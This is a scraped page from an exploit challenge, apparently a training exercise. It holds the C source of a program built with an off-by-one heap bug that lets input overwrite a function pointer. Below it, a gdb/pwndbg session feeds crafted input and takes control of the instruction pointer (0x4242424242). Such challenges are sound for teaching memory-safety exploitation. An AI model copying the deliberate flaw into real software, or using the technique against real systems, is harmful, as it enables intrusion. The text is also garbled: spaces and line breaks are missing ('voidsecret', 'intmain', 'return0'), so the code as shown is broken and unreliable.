#include<stdio.h>#include<string.h>#include<stdlib.h>struct B2{int(*ptr)();char c[128];};struct B1{char data[16];struct B2 *myStruct;char data2[128];};voidsecret(){printf("Game 0ver! You win :P\n");}voidfunction(){printf("Everything is fine.\n");}intmain(intargc,char*argv[]){printf("\033[1mWelcome to ROPLevel7 by @bellis1000!\nThis level involves exploiting an off-by-one vulnerability.\n\n\x1b[0m");if(argc <3){printf("Usage: %s <data> <block_data>\n",argv[0]);exit(0);}struct B1 *s =malloc(256);
s->myStruct =malloc(256);
s->myStruct->ptr = function;strncpy(s->myStruct->c,argv[2],126);strncpy(s->data2,argv[2],126);// this is where the off-by-one bug occurs
for(int i =0; i <=16; i++){if(argv[1][i]!=0){
s->data[i]= argv[1][i];}else{break;}}// call function pointer
s->myStruct->ptr();return0;}
Exploit Code:
gcc -fno-stack-protector -o roplevel7 roplevel7.cpwndbg> run AAAAAAAAAAAAAAAAA BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBStarting program: /home/generalzero/Downloads/Exploit-Challenges-master/ROPLevel7/roplevel7 AAAAAAAAAAAAAAAAA BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBpwndbg> Welcome to ROPLevel7 by @bellis1000!This level involves exploiting an off-by-one vulnerability.Breakpoint 1, 0x00005555555552cb in main ()cContinuing.Program received signal SIGSEGV, Segmentation fault.0x0000004242424242 in ?? ()LEGEND: STACK|HEAP|CODE|DATA|RWX|RODATAββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ[ REGISTERS ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββRAX 0x0RBX 0x0RCX 0x41RDX 0x4242424242RDI 0x55555555973f ββ 0x42424242424242 /*'BBBBBBB'*/RSI 0x7fffffffe170 ββ 0x4242424242424242 ('BBBBBBBB')R8 0x7R9 0x7ffff7f8ba60 (main_arena+96)ββΈ 0x5555555598c0 ββ 0x0R10 0x18R11 0x7ffff7f51d80 ββ 0xfff1c580fff1c570R12 0x555555555080 (_start)ββ endbr64 R13 0x0R14 0x0R15 0x0RBP 0x7fffffffdc60 ββΈ 0x5555555552e0 (__libc_csu_init)ββ endbr64 *RSP 0x7fffffffdc38 ββΈ 0x5555555552cd (main+302)ββ mov eax, 0*RIP 0x4242424242βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ[ DISASM ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββInvalid address 0x4242424242